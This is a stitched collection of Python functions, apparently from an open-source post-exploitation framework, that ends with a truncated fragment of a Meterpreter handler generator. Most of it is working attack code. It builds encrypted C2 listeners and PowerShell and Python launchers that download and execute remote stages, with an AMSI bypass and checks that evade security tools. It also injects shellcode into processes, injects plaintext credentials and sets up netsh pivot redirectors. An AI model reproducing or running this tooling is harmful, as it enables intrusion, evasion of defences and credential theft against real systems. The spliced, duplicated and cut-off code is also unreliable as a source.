self.mainMenu.listeners.is_listener_valid( values['Value']): print helpers.color("[!] Invalid listener set") return "" else: listenerName = values['Value'] # get the listener options and set them for the script [ Name, Host, Port, CertPath, StagingKey, DefaultDelay, DefaultJitter, DefaultProfile, KillDate, WorkingHours, DefaultLostLimit, BindIP, ServerVersion ] = self.mainMenu.listeners.activeListeners[listenerName][ 'options'] script += " -ConnectHost " + str(Host) elif option.lower() != "agent": # check if we're adding this redirector as a pivot listener if option == "AddAsListener" and values['Value'] and values[ 'Value'].lower() == "true": addAsListener = True else: # add the script args if values['Value'] and values['Value'] != '': if values['Value'].lower() == "true": # if we're just adding a switch script += " -" + str(option) else: script += " -" + str(option) + " " + str( values['Value']) if addAsListener: if listenerName: # if we're add this as a pivot listener agent = self.options['Agent']['Value'] port = self.options['ListenPort']['Value'] self.mainMenu.listeners.add_pivot_listener( listenerName, agent, port) print helpers.color("[*] Added pivot listener on port " + str(port)) else: print helpers.color( "[!] Listener not set, pivot listener not added.") return "" if obfuscate: script = helpers.obfuscate(psScript=script, obfuscationCommand=obfuscationCommand) return script
def generate(self, obfuscate=False, obfuscationCommand=""): # read in the common module source code moduleSource = self.mainMenu.installPath + "/data/module_source/credentials/Invoke-CredentialInjection.ps1" if obfuscate: helpers.obfuscate_module(moduleSource=moduleSource, obfuscationCommand=obfuscationCommand) moduleSource = moduleSource.replace("module_source", "obfuscated_module_source") try: f = open(moduleSource, 'r') except: print( helpers.color("[!] Could not read module source path at: " + str(moduleSource))) return "" moduleCode = f.read() f.close() script = moduleCode scriptEnd = "Invoke-CredentialInjection" if self.options["NewWinLogon"]['Value'] == "" and self.options[ "ExistingWinLogon"]['Value'] == "": print( helpers.color( "[!] Either NewWinLogon or ExistingWinLogon must be specified" )) return "" # if a credential ID is specified, try to parse credID = self.options["CredID"]['Value'] if credID != "": if not self.mainMenu.credentials.is_credential_valid(credID): print(helpers.color("[!] CredID is invalid!")) return "" (credID, credType, domainName, userName, password, host, os, sid, notes) = self.mainMenu.credentials.get_credentials(credID)[0] if credType != "plaintext": print( helpers.color( "[!] A CredID with a plaintext password must be used!") ) return "" if domainName != "": self.options["DomainName"]['Value'] = domainName if userName != "": self.options["UserName"]['Value'] = userName if password != "": self.options["Password"]['Value'] = password if self.options["DomainName"]['Value'] == "" or self.options[ "UserName"]['Value'] == "" or self.options["Password"][ 'Value'] == "": print( helpers.color( "[!] DomainName/UserName/Password or CredID required!")) return "" for option, values in self.options.items(): if option.lower() != "agent" and option.lower() != "credid": if values['Value'] and values['Value'] != '': if values['Value'].lower() == "true": # if we're just adding a switch scriptEnd += " -" + str(option) else: scriptEnd += " -" + str(option) + " " + str( values['Value']) if obfuscate: scriptEnd = helpers.obfuscate( self.mainMenu.installPath, psScript=scriptEnd, obfuscationCommand=obfuscationCommand) script += scriptEnd return script
def start_server(self, listenerOptions): """ Threaded function that actually starts up the Flask server. """ # make a copy of the currently set listener options for later stager/agent generation listenerOptions = copy.deepcopy(listenerOptions) # suppress the normal Flask output log = logging.getLogger('werkzeug') log.setLevel(logging.ERROR) bindIP = listenerOptions['BindIP']['Value'] host = listenerOptions['Host']['Value'] port = listenerOptions['Port']['Value'] stagingKey = listenerOptions['StagingKey']['Value'] app = Flask(__name__) self.app = app @app.before_request def check_ip(): """ Before every request, check if the IP address is allowed. """ if not self.mainMenu.agents.is_ip_allowed(request.remote_addr): dispatcher.send( "[!] %s on the blacklist/not on the whitelist requested resource" % (request.remote_addr), sender="listeners/http") return make_response(self.default_response(), 200) @app.after_request def change_header(response): "Modify the default server version in the response." response.headers['Server'] = listenerOptions['ServerVersion'][ 'Value'] return response @app.after_request def add_proxy_headers(response): "Add HTTP headers to avoid proxy caching." response.headers[ 'Cache-Control'] = "no-cache, no-store, must-revalidate" response.headers['Pragma'] = "no-cache" response.headers['Expires'] = "0" return response @app.route('/<path:request_uri>', methods=['GET']) def handle_get(request_uri): """ Handle an agent GET request. This is used during the first step of the staging process, and when the agent requests taskings. """ clientIP = request.remote_addr dispatcher.send("[*] GET request for %s/%s from %s" % (request.host, request_uri, clientIP), sender='listeners/http') routingPacket = None cookie = request.headers.get('Cookie') if cookie and cookie != '': try: # see if we can extract the 'routing packet' from the specified cookie location # NOTE: this can be easily moved to a paramter, another cookie value, etc. if 'session' in cookie: dispatcher.send("[*] GET cookie value from %s : %s" % (clientIP, cookie), sender='listeners/http') cookieParts = cookie.split(';') for part in cookieParts: if part.startswith('session'): base64RoutingPacket = part[part.find('=') + 1:] # decode the routing packet base64 value in the cookie routingPacket = base64.b64decode( base64RoutingPacket) except Exception as e: routingPacket = None pass if routingPacket: # parse the routing packet and process the results dataResults = self.mainMenu.agents.handle_agent_data( stagingKey, routingPacket, listenerOptions, clientIP) if dataResults and len(dataResults) > 0: for (language, results) in dataResults: if results: if results == 'STAGE0': # handle_agent_data() signals that the listener should return the stager.ps1 code # step 2 of negotiation -> return stager.ps1 (stage 1) dispatcher.send( "[*] Sending %s stager (stage 1) to %s" % (language, clientIP), sender='listeners/http') stage = self.generate_stager( language=language, listenerOptions=listenerOptions) return make_response(stage, 200) elif results.startswith('ERROR:'): dispatcher.send( "[!] Error from agents.handle_agent_data() for %s from %s: %s" % (request_uri, clientIP, results), sender='listeners/http') if 'not in cache' in results: # signal the client to restage print helpers.color( "[*] Orphaned agent from %s, signaling retaging" % (clientIP)) return make_response( self.default_response(), 401) else: return make_response( self.default_response(), 200) else: # actual taskings dispatcher.send( "[*] Agent from %s retrieved taskings" % (clientIP), sender='listeners/http') return make_response(results, 200) else: # dispatcher.send("[!] Results are None...", sender='listeners/http') return make_response(self.default_response(), 200) else: return make_response(self.default_response(), 200) else: dispatcher.send( "[!] %s requested by %s with no routing packet." % (request_uri, clientIP), sender='listeners/http') return make_response(self.default_response(), 200) @app.route('/<path:request_uri>', methods=['POST']) def handle_post(request_uri): """ Handle an agent POST request. """ stagingKey = listenerOptions['StagingKey']['Value'] clientIP = request.remote_addr requestData = request.get_data() dispatcher.send("[*] POST request data length from %s : %s" % (clientIP, len(requestData)), sender='listeners/http') # the routing packet should be at the front of the binary request.data # NOTE: this can also go into a cookie/etc. dataResults = self.mainMenu.agents.handle_agent_data( stagingKey, requestData, listenerOptions, clientIP) if dataResults and len(dataResults) > 0: for (language, results) in dataResults: if results: if results.startswith('STAGE2'): # TODO: document the exact results structure returned if ':' in clientIP: clientIP = '[' + str(clientIP) + ']' sessionID = results.split(' ')[1].strip() sessionKey = self.mainMenu.agents.agents[ sessionID]['sessionKey'] dispatcher.send( "[*] Sending agent (stage 2) to %s at %s" % (sessionID, clientIP), sender='listeners/http') hopListenerName = request.headers.get('Hop-Name') try: hopListener = helpers.get_listener_options( hopListenerName) tempListenerOptions = copy.deepcopy( listenerOptions) tempListenerOptions['Host'][ 'Value'] = hopListener['Host']['Value'] except TypeError: tempListenerOptions = listenerOptions # step 6 of negotiation -> server sends patched agent.ps1/agent.py agentCode = self.generate_agent( language=language, listenerOptions=tempListenerOptions) encryptedAgent = encryption.aes_encrypt_then_hmac( sessionKey, agentCode) # TODO: wrap ^ in a routing packet? return make_response(encryptedAgent, 200) elif results[:10].lower().startswith( 'error') or results[:10].lower().startswith( 'exception'): dispatcher.send( "[!] Error returned for results by %s : %s" % (clientIP, results), sender='listeners/http') return make_response(self.default_response(), 200) elif results == 'VALID': dispatcher.send("[*] Valid results return by %s" % (clientIP), sender='listeners/http') return make_response(self.default_response(), 200) else: return make_response(results, 200) else: return make_response(self.default_response(), 200) else: return make_response(self.default_response(), 200) try: certPath = listenerOptions['CertPath']['Value'] host = listenerOptions['Host']['Value'] if certPath.strip() != '' and host.startswith('https'): context = ("%s/data/empire.pem" % (self.mainMenu.installPath), "%s/data/empire.pem" % (self.mainMenu.installPath)) app.run(host=bindIP, port=int(port), threaded=True, ssl_context=context) else: app.run(host=bindIP, port=int(port), threaded=True) except Exception as e: print helpers.color("[!] Listener startup on port %s failed: %s " % (port, e)) dispatcher.send("[!] Listener startup on port %s failed: %s " % (port, e), sender='listeners/http')
def generate(self): # read in the common module source code moduleSource = self.mainMenu.installPath + "/data/module_source/situational_awareness/network/Invoke-SmbScanner.ps1" try: f = open(moduleSource, 'r') except: print helpers.color("[!] Could not read module source path at: " + str(moduleSource)) return "" moduleCode = f.read() f.close() script = moduleCode + "\n" # if a credential ID is specified, try to parse credID = self.options["CredID"]['Value'] if credID != "": if not self.mainMenu.credentials.is_credential_valid(credID): print helpers.color("[!] CredID is invalid!") return "" (credID, credType, domainName, userName, password, host, sid, notes) = self.mainMenu.credentials.get_credentials(credID)[0] if domainName != "": self.options["UserName"]['Value'] = str( domainName) + "\\" + str(userName) else: self.options["UserName"]['Value'] = str(userName) if password != "": self.options["Password"]['Value'] = password if self.options["UserName"]['Value'] == "" or self.options["Password"][ 'Value'] == "": print helpers.color("[!] Username and password must be specified.") if (self.options['ComputerName']['Value'] != ''): usernames = "\"" + "\",\"".join( self.options['ComputerName']['Value'].split(",")) + "\"" script += usernames + " | " script += "Invoke-SMBScanner " for option, values in self.options.iteritems(): if option.lower() != "agent" and option.lower( ) != "computername" and option.lower() != "credid": if values['Value'] and values['Value'] != '': if values['Value'].lower() == "true": # if we're just adding a switch script += " -" + str(option) else: script += " -" + str(option) + " '" + str( values['Value']) + "'" script += "| Out-String | %{$_ + \"`n\"};" script += "'Invoke-SMBScanner completed'" return script
def generate_stager(self, listenerOptions, encode=False, encrypt=True, language=None): """ Generate the stager code needed for communications with this listener. """ if not language: print helpers.color( '[!] listeners/http generate_stager(): no language specified!') return None profile = listenerOptions['DefaultProfile']['Value'] uris = [a.strip('/') for a in profile.split('|')[0].split(',')] launcher = listenerOptions['Launcher']['Value'] stagingKey = listenerOptions['StagingKey']['Value'] host = listenerOptions['Host']['Value'] customHeaders = profile.split('|')[2:] # select some random URIs for staging from the main profile stage1 = random.choice(uris) stage2 = random.choice(uris) if language.lower() == 'powershell': # read in the stager base f = open("%s/data/agent/stagers/http.ps1" % (self.mainMenu.installPath)) stager = f.read() f.close() # make sure the server ends with "/" if not host.endswith("/"): host += "/" #Patch in custom Headers if customHeaders != []: headers = ','.join(customHeaders) stager = stager.replace( "$customHeaders = \"\";", "$customHeaders = \"" + headers + "\";") # patch the server and key information stager = stager.replace('REPLACE_SERVER', host) stager = stager.replace('REPLACE_STAGING_KEY', stagingKey) stager = stager.replace('index.jsp', stage1) stager = stager.replace('index.php', stage2) randomizedStager = '' for line in stager.split("\n"): line = line.strip() # skip commented line if not line.startswith("#"): # randomize capitalization of lines without quoted strings if "\"" not in line: randomizedStager += helpers.randomize_capitalization( line) else: randomizedStager += line # base64 encode the stager and return it if encode: return helpers.enc_powershell(randomizedStager) elif encrypt: RC4IV = os.urandom(4) return RC4IV + encryption.rc4(RC4IV + stagingKey, randomizedStager) else: # otherwise just return the case-randomized stager return randomizedStager elif language.lower() == 'python': # read in the stager base f = open("%s/data/agent/stagers/http.py" % (self.mainMenu.installPath)) stager = f.read() f.close() stager = helpers.strip_python_comments(stager) if host.endswith("/"): host = host[0:-1] # # patch the server and key information stager = stager.replace("REPLACE_STAGING_KEY", stagingKey) stager = stager.replace("REPLACE_PROFILE", profile) stager = stager.replace("index.jsp", stage1) stager = stager.replace("index.php", stage2) # # base64 encode the stager and return it if encode: return base64.b64encode(stager) if encrypt: # return an encrypted version of the stager ("normal" staging) RC4IV = os.urandom(4) return RC4IV + encryption.rc4(RC4IV + stagingKey, stager) else: # otherwise return the standard stager return stager else: print helpers.color( "[!] listeners/http generate_stager(): invalid language specification, only 'powershell' and 'python' are currently supported for this module." )
def handle_get(request_uri): """ Handle an agent GET request. This is used during the first step of the staging process, and when the agent requests taskings. """ clientIP = request.remote_addr dispatcher.send("[*] GET request for %s/%s from %s" % (request.host, request_uri, clientIP), sender='listeners/http') routingPacket = None cookie = request.headers.get('Cookie') if cookie and cookie != '': try: # see if we can extract the 'routing packet' from the specified cookie location # NOTE: this can be easily moved to a paramter, another cookie value, etc. if 'session' in cookie: dispatcher.send("[*] GET cookie value from %s : %s" % (clientIP, cookie), sender='listeners/http') cookieParts = cookie.split(';') for part in cookieParts: if part.startswith('session'): base64RoutingPacket = part[part.find('=') + 1:] # decode the routing packet base64 value in the cookie routingPacket = base64.b64decode( base64RoutingPacket) except Exception as e: routingPacket = None pass if routingPacket: # parse the routing packet and process the results dataResults = self.mainMenu.agents.handle_agent_data( stagingKey, routingPacket, listenerOptions, clientIP) if dataResults and len(dataResults) > 0: for (language, results) in dataResults: if results: if results == 'STAGE0': # handle_agent_data() signals that the listener should return the stager.ps1 code # step 2 of negotiation -> return stager.ps1 (stage 1) dispatcher.send( "[*] Sending %s stager (stage 1) to %s" % (language, clientIP), sender='listeners/http') stage = self.generate_stager( language=language, listenerOptions=listenerOptions) return make_response(stage, 200) elif results.startswith('ERROR:'): dispatcher.send( "[!] Error from agents.handle_agent_data() for %s from %s: %s" % (request_uri, clientIP, results), sender='listeners/http') if 'not in cache' in results: # signal the client to restage print helpers.color( "[*] Orphaned agent from %s, signaling retaging" % (clientIP)) return make_response( self.default_response(), 401) else: return make_response( self.default_response(), 200) else: # actual taskings dispatcher.send( "[*] Agent from %s retrieved taskings" % (clientIP), sender='listeners/http') return make_response(results, 200) else: # dispatcher.send("[!] Results are None...", sender='listeners/http') return make_response(self.default_response(), 200) else: return make_response(self.default_response(), 200) else: dispatcher.send( "[!] %s requested by %s with no routing packet." % (request_uri, clientIP), sender='listeners/http') return make_response(self.default_response(), 200)
def generate(self, obfuscate=False, obfuscationCommand=""): listenerName = self.options['Listener']['Value'] procID = self.options['ProcId']['Value'].strip() userAgent = self.options['UserAgent']['Value'] proxy = self.options['Proxy']['Value'] proxyCreds = self.options['ProxyCreds']['Value'] arch = self.options['Arch']['Value'] moduleSource = self.mainMenu.installPath + "/data/module_source/code_execution/Invoke-Shellcode.ps1" if obfuscate: helpers.obfuscate_module(moduleSource=moduleSource, obfuscationCommand=obfuscationCommand) moduleSource = moduleSource.replace("module_source", "obfuscated_module_source") try: f = open(moduleSource, 'r') except: print helpers.color("[!] Could not read module source path at: " + str(moduleSource)) return "" moduleCode = f.read() f.close() # If you'd just like to import a subset of the functions from the # module source, use the following: # script = helpers.generate_dynamic_powershell_script(moduleCode, ["Get-Something", "Set-Something"]) script = moduleCode scriptEnd = "; shellcode injected into pid {}".format(str(procID)) if not self.mainMenu.listeners.is_listener_valid(listenerName): # not a valid listener, return nothing for the script print helpers.color( "[!] Invalid listener: {}".format(listenerName)) return '' else: # generate the PowerShell one-liner with all of the proper options set launcher = self.mainMenu.stagers.generate_launcher( listenerName, language='powershell', encode=True, userAgent=userAgent, proxy=proxy, proxyCreds=proxyCreds) if launcher == '': print helpers.color('[!] Error in launcher generation.') return '' else: launcherCode = launcher.split(' ')[-1] sc = self.mainMenu.stagers.generate_shellcode( launcherCode, arch) encoded_sc = helpers.encode_base64(sc) # Add any arguments to the end execution of the script #t = iter(sc) #pow_array = ',0x'.join(a+b for a,b in zip(t, t)) #pow_array = "@(0x" + pow_array + " )" script += "\nInvoke-Shellcode -ProcessID {} -Shellcode $([Convert]::FromBase64String(\"{}\")) -Force".format( procID, encoded_sc) script += scriptEnd return script
def generate_agent(self, listenerOptions, language=None): """ Generate the full agent code needed for communications with this listener. """ if not language: print helpers.color( '[!] listeners/http generate_agent(): no language specified!') return None language = language.lower() delay = listenerOptions['DefaultDelay']['Value'] jitter = listenerOptions['DefaultJitter']['Value'] profile = listenerOptions['DefaultProfile']['Value'] lostLimit = listenerOptions['DefaultLostLimit']['Value'] killDate = listenerOptions['KillDate']['Value'] workingHours = listenerOptions['WorkingHours']['Value'] b64DefaultResponse = base64.b64encode(self.default_response()) if language == 'powershell': f = open(self.mainMenu.installPath + "./data/agent/agent.ps1") code = f.read() f.close() # patch in the comms methods commsCode = self.generate_comms(listenerOptions=listenerOptions, language=language) code = code.replace('REPLACE_COMMS', commsCode) # strip out comments and blank lines code = helpers.strip_powershell_comments(code) # patch in the delay, jitter, lost limit, and comms profile code = code.replace('$AgentDelay = 60', "$AgentDelay = " + str(delay)) code = code.replace('$AgentJitter = 0', "$AgentJitter = " + str(jitter)) code = code.replace( '$Profile = "/admin/get.php,/news.php,/login/process.php|Mozilla/5.0 (Windows NT 6.1; WOW64; Trident/7.0; rv:11.0) like Gecko"', "$Profile = \"" + str(profile) + "\"") code = code.replace('$LostLimit = 60', "$LostLimit = " + str(lostLimit)) code = code.replace( '$DefaultResponse = ""', '$DefaultResponse = "' + str(b64DefaultResponse) + '"') # patch in the killDate and workingHours if they're specified if killDate != "": code = code.replace('$KillDate,', "$KillDate = '" + str(killDate) + "',") if workingHours != "": code = code.replace( '$WorkingHours,', "$WorkingHours = '" + str(workingHours) + "',") return code elif language == 'python': f = open(self.mainMenu.installPath + "./data/agent/agent.py") code = f.read() f.close() # patch in the comms methods commsCode = self.generate_comms(listenerOptions=listenerOptions, language=language) code = code.replace('REPLACE_COMMS', commsCode) # strip out comments and blank lines code = helpers.strip_python_comments(code) # patch in the delay, jitter, lost limit, and comms profile code = code.replace('delay = 60', 'delay = %s' % (delay)) code = code.replace('jitter = 0.0', 'jitter = %s' % (jitter)) code = code.replace( 'profile = "/admin/get.php,/news.php,/login/process.php|Mozilla/5.0 (Windows NT 6.1; WOW64; Trident/7.0; rv:11.0) like Gecko"', 'profile = "%s"' % (profile)) code = code.replace('lostLimit = 60', 'lostLimit = %s' % (lostLimit)) code = code.replace( 'defaultResponse = base64.b64decode("")', 'defaultResponse = base64.b64decode("%s")' % (b64DefaultResponse)) # patch in the killDate and workingHours if they're specified if killDate != "": code = code.replace('killDate = ""', 'killDate = "%s"' % (killDate)) if workingHours != "": code = code.replace('workingHours = ""', 'workingHours = "%s"' % (killDate)) return code else: print helpers.color( "[!] listeners/http generate_agent(): invalid language specification, only 'powershell' and 'python' are currently supported for this module." )
def start(self, name=''): """ If a server component needs to be started, implement the kick off logic here and the actual server code in another function to facilitate threading (i.e. start_server() in the http listener). """ tempOptions = copy.deepcopy(self.options) listenerName = self.options['Listener']['Value'] # validate that the Listener does exist if self.mainMenu.listeners.is_listener_valid(listenerName): # check if a listener for the agent already exists if self.mainMenu.listeners.is_listener_valid(tempOptions['Name']['Value']): print helpers.color("[!] Pivot listener already exists on agent %s" % (tempOptions['Name']['Value'])) return False listenerOptions = self.mainMenu.listeners.activeListeners[listenerName]['options'] sessionID = self.mainMenu.agents.get_agent_id_db(tempOptions['Name']['Value']) isElevated = self.mainMenu.agents.is_agent_elevated(sessionID) if self.mainMenu.agents.is_agent_present(sessionID) and isElevated: if self.mainMenu.agents.get_language_db(sessionID).startswith("po"): #logic for powershell agents script = """ function Invoke-Redirector { param($ListenPort, $ConnectHost, [switch]$Reset, [switch]$ShowAll) if($ShowAll){ $out = netsh interface portproxy show all if($out){ $out } else{ "[*] no redirectors currently configured" } } elseif($Reset){ $out = netsh interface portproxy reset if($out){ $out } else{ "[+] successfully removed all redirectors" } } else{ if((-not $ListenPort)){ "[!] netsh error: required option not specified" } else{ $ConnectAddress = "" $ConnectPort = "" $parts = $ConnectHost -split(":") if($parts.Length -eq 2){ # if the form is http[s]://HOST or HOST:PORT if($parts[0].StartsWith("http")){ $ConnectAddress = $parts[1] -replace "//","" if($parts[0] -eq "https"){ $ConnectPort = "443" } else{ $ConnectPort = "80" } } else{ $ConnectAddress = $parts[0] $ConnectPort = $parts[1] } } elseif($parts.Length -eq 3){ # if the form is http[s]://HOST:PORT $ConnectAddress = $parts[1] -replace "//","" $ConnectPort = $parts[2] } if($ConnectPort -ne ""){ $out = netsh interface portproxy add v4tov4 listenport=$ListenPort connectaddress=$ConnectAddress connectport=$ConnectPort protocol=tcp if($out){ $out } else{ "[+] successfully added redirector on port $ListenPort to $ConnectHost" } } else{ "[!] netsh error: host not in http[s]://HOST:[PORT] format" } } } } Invoke-Redirector""" script += " -ConnectHost %s" % (listenerOptions['Host']['Value']) script += " -ListenPort %s" % (tempOptions['ListenPort']['Value']) # clone the existing listener options self.options = copy.deepcopy(listenerOptions) for option, values in self.options.iteritems(): if option.lower() == 'name': self.options[option]['Value'] = sessionID elif option.lower() == 'host': if self.options[option]['Value'].startswith('https://'): host = "https://%s:%s" % (tempOptions['internalIP']['Value'], tempOptions['ListenPort']['Value']) self.options[option]['Value'] = host else: host = "http://%s:%s" % (tempOptions['internalIP']['Value'], tempOptions['ListenPort']['Value']) self.options[option]['Value'] = host # check to see if there was a host value at all if "Host" not in self.options.keys(): self.options['Host']['Value'] = host self.mainMenu.agents.add_agent_task_db(tempOptions['Name']['Value'], "TASK_SHELL", script) msg = "Tasked agent to install Pivot listener " self.mainMenu.agents.save_agent_log(tempOptions['Name']['Value'], msg) return True elif self.mainMenu.agents.get_language_db(self.options['Name']['Value']).startswith('py'): # not implemented script = """ """ print helpers.color("[!] Python pivot listener not implemented") return False else: print helpers.color("[!] Unable to determine the language for the agent") else: print helpers.color("[!] Agent is not present in the cache") return False
def generate_launcher(self, encode=True, userAgent='default', proxy='default', proxyCreds='default', stagerRetries='0', language=None, safeChecks='', listenerName=None): """ Generate a basic launcher for the specified listener. """ if not language: print helpers.color( '[!] listeners/http generate_launcher(): no language specified!' ) if listenerName and (listenerName in self.threads) and ( listenerName in self.mainMenu.listeners.activeListeners): # extract the set options for this instantiated listener listenerOptions = self.mainMenu.listeners.activeListeners[ listenerName]['options'] host = listenerOptions['Host']['Value'] launcher = listenerOptions['Launcher']['Value'] stagingKey = listenerOptions['StagingKey']['Value'] profile = listenerOptions['DefaultProfile']['Value'] uris = [a for a in profile.split('|')[0].split(',')] stage0 = random.choice(uris) customHeaders = profile.split('|')[2:] if language.startswith('po'): # PowerShell stager = '' if safeChecks.lower() == 'true': # @mattifestation's AMSI bypass stager = helpers.randomize_capitalization( "[Ref].Assembly.GetType(") stager += "'System.Management.Automation.AmsiUtils'" stager += helpers.randomize_capitalization( ')|?{$_}|%{$_.GetField(') stager += "'amsiInitFailed','NonPublic,Static'" stager += helpers.randomize_capitalization( ").SetValue($null,$true)};") stager += helpers.randomize_capitalization( "[System.Net.ServicePointManager]::Expect100Continue=0;" ) stager += helpers.randomize_capitalization( "$wc=New-Object System.Net.WebClient;") if userAgent.lower() == 'default': profile = listenerOptions['DefaultProfile']['Value'] userAgent = profile.split('|')[1] stager += "$u='" + userAgent + "';" if 'https' in host: # allow for self-signed certificates for https connections stager += "[System.Net.ServicePointManager]::ServerCertificateValidationCallback = {$true};" if userAgent.lower() != 'none' or proxy.lower() != 'none': if userAgent.lower() != 'none': stager += helpers.randomize_capitalization( '$wc.Headers.Add(') stager += "'User-Agent',$u);" if proxy.lower() != 'none': if proxy.lower() == 'default': stager += helpers.randomize_capitalization( "$wc.Proxy=[System.Net.WebRequest]::DefaultWebProxy;" ) else: # TODO: implement form for other proxy stager += helpers.randomize_capitalization( "$proxy=New-Object Net.WebProxy;") stager += helpers.randomize_capitalization( "$proxy.Address = '" + proxy.lower() + "';") stager += helpers.randomize_capitalization( "$wc.Proxy = $proxy;") if proxyCreds.lower() == "default": stager += helpers.randomize_capitalization( "$wc.Proxy.Credentials = [System.Net.CredentialCache]::DefaultNetworkCredentials;" ) else: # TODO: implement form for other proxy credentials pass # TODO: reimplement stager retries? #check if we're using IPv6 listenerOptions = copy.deepcopy(listenerOptions) bindIP = listenerOptions['BindIP']['Value'] port = listenerOptions['Port']['Value'] if ':' in bindIP: if "http" in host: if "https" in host: host = 'https://' + '[' + str( bindIP) + ']' + ":" + str(port) else: host = 'http://' + '[' + str( bindIP) + ']' + ":" + str(port) # code to turn the key string into a byte array stager += helpers.randomize_capitalization( "$K=[System.Text.Encoding]::ASCII.GetBytes(") stager += "'%s');" % (stagingKey) # this is the minimized RC4 stager code from rc4.ps1 stager += helpers.randomize_capitalization( '$R={$D,$K=$Args;$S=0..255;0..255|%{$J=($J+$S[$_]+$K[$_%$K.Count])%256;$S[$_],$S[$J]=$S[$J],$S[$_]};$D|%{$I=($I+1)%256;$H=($H+$S[$I])%256;$S[$I],$S[$H]=$S[$H],$S[$I];$_-bxor$S[($S[$I]+$S[$H])%256]}};' ) # prebuild the request routing packet for the launcher routingPacket = packets.build_routing_packet( stagingKey, sessionID='00000000', language='POWERSHELL', meta='STAGE0', additional='None', encData='') b64RoutingPacket = base64.b64encode(routingPacket) #Add custom headers if any if customHeaders != []: for header in customHeaders: headerKey = header.split(':')[0] headerValue = header.split(':')[1] stager += helpers.randomize_capitalization( "$wc.Headers.Add(") stager += "\"%s\",\"%s\");" % (headerKey, headerValue) # add the RC4 packet to a cookie stager += helpers.randomize_capitalization("$wc.Headers.Add(") stager += "\"Cookie\",\"session=%s\");" % (b64RoutingPacket) stager += "$ser='%s';$t='%s';" % (host, stage0) stager += helpers.randomize_capitalization( "$data=$WC.DownloadData($ser+$t);") stager += helpers.randomize_capitalization( "$iv=$data[0..3];$data=$data[4..$data.length];") # decode everything and kick it over to IEX to kick off execution stager += helpers.randomize_capitalization( "-join[Char[]](& $R $data ($IV+$K))|IEX") # base64 encode the stager and return it if encode: return helpers.powershell_launcher(stager, launcher) else: # otherwise return the case-randomized stager return stager if language.startswith('py'): # Python launcherBase = 'import sys;' if "https" in host: # monkey patch ssl woohooo launcherBase += "import ssl;\nif hasattr(ssl, '_create_unverified_context'):ssl._create_default_https_context = ssl._create_unverified_context;\n" try: if safeChecks.lower() == 'true': launcherBase += "import re, subprocess;" launcherBase += "cmd = \"ps -ef | grep Little\ Snitch | grep -v grep\"\n" launcherBase += "ps = subprocess.Popen(cmd, shell=True, stdout=subprocess.PIPE)\n" launcherBase += "out = ps.stdout.read()\n" launcherBase += "ps.stdout.close()\n" launcherBase += "if re.search(\"Little Snitch\", out):\n" launcherBase += " sys.exit()\n" except Exception as e: p = "[!] Error setting LittleSnitch in stager: " + str(e) print helpers.color(p, color='red') if userAgent.lower() == 'default': profile = listenerOptions['DefaultProfile']['Value'] userAgent = profile.split('|')[1] launcherBase += "import urllib2;\n" launcherBase += "UA='%s';" % (userAgent) launcherBase += "server='%s';t='%s';" % (host, stage0) # prebuild the request routing packet for the launcher routingPacket = packets.build_routing_packet( stagingKey, sessionID='00000000', language='PYTHON', meta='STAGE0', additional='None', encData='') b64RoutingPacket = base64.b64encode(routingPacket) launcherBase += "req=urllib2.Request(server+t);\n" # add the RC4 packet to a cookie launcherBase += "req.add_header('User-Agent',UA);\n" launcherBase += "req.add_header('Cookie',\"session=%s\");\n" % ( b64RoutingPacket) # Add custom headers if any if customHeaders != []: for header in customHeaders: headerKey = header.split(':')[0] headerValue = header.split(':')[1] #launcherBase += ",\"%s\":\"%s\"" % (headerKey, headerValue) launcherBase += "req.add_header(\"%s\",\"%s\");\n" % ( headerKey, headerValue) launcherBase += "if urllib2.getproxies():\n" launcherBase += " o = urllib2.build_opener();\n" launcherBase += " o.add_handler(urllib2.ProxyHandler(urllib2.getproxies()))\n" launcherBase += " urllib2.install_opener(o);\n" # download the stager and extract the IV launcherBase += "a=urllib2.urlopen(req).read();\n" launcherBase += "IV=a[0:4];" launcherBase += "data=a[4:];" launcherBase += "key=IV+'%s';" % (stagingKey) # RC4 decryption launcherBase += "S,j,out=range(256),0,[]\n" launcherBase += "for i in range(256):\n" launcherBase += " j=(j+S[i]+ord(key[i%len(key)]))%256\n" launcherBase += " S[i],S[j]=S[j],S[i]\n" launcherBase += "i=j=0\n" launcherBase += "for char in data:\n" launcherBase += " i=(i+1)%256\n" launcherBase += " j=(j+S[i])%256\n" launcherBase += " S[i],S[j]=S[j],S[i]\n" launcherBase += " out.append(chr(ord(char)^S[(S[i]+S[j])%256]))\n" launcherBase += "exec(''.join(out))" if encode: launchEncoded = base64.b64encode(launcherBase) launcher = "echo \"import sys,base64;exec(base64.b64decode('%s'));\" | python &" % ( launchEncoded) return launcher else: return launcherBase else: print helpers.color( "[!] listeners/http generate_launcher(): invalid language specification: only 'powershell' and 'python' are currently supported for this module." ) else: print helpers.color( "[!] listeners/http generate_launcher(): invalid listener name specification!" )
def handler_code_generator(selected_payobject, handler_name, invoked=False, cli_obj=None): lhost_value = '' lport_value = '' rhost_value = '' payload_used = '' skip_handler = False if selected_payobject.language != "native" and selected_payobject.extension != "war": if 'shellcode_inject' in selected_payobject.path: # Parse the object to generate the payload if type(selected_payobject.shellcode.shellcode_options) is dict or invoked: if selected_payobject.payload_type == 'rev_tcp': payload_used = 'windows/meterpreter/reverse_tcp' elif selected_payobject.payload_type == 'rev_http': payload_used = 'windows/meterpreter/reverse_http' elif selected_payobject.payload_type == 'rev_https': payload_used = 'windows/meterpreter/reverse_https' elif selected_payobject.payload_type == 'rev_tcp_dns': payload_used = 'windows/meterpreter/reverse_tcp_dns' elif selected_payobject.payload_type == 'rev_tcp_all_ports': payload_used = 'windows/meterpreter/reverse_tcp_allports' elif selected_payobject.payload_type == 'bind_tcp': payload_used = 'windows/meterpreter/bind_tcp' if invoked: lhost_value = cli_obj.ip lport_value = str(cli_obj.port) else: if 'LHOST' in selected_payobject.shellcode.shellcode_options: lhost_value = selected_payobject.shellcode.shellcode_options['LHOST'] if 'LPORT' in selected_payobject.shellcode.shellcode_options: lport_value = selected_payobject.shellcode.shellcode_options['LPORT'] if 'RHOST' in selected_payobject.shellcode.shellcode_options: rhost_value = selected_payobject.shellcode.shellcode_options['RHOST'] else: # parse msfvenom command payload_used = selected_payobject.payload_type split_msf_command = selected_payobject.shellcode.shellcode_options.split() for option in split_msf_command: if 'LHOST' in option: lhost_value = option.split('=')[1] elif 'LPORT' in option: lport_value = option.split('=')[1] elif 'RHOST' in option: rhost_value = option.split('=')[1] elif 'meterpreter' in selected_payobject.path: # Determine payload type if 'bind_tcp' in selected_payobject.path: payload_used = 'windows/meterpreter/bind_tcp' elif 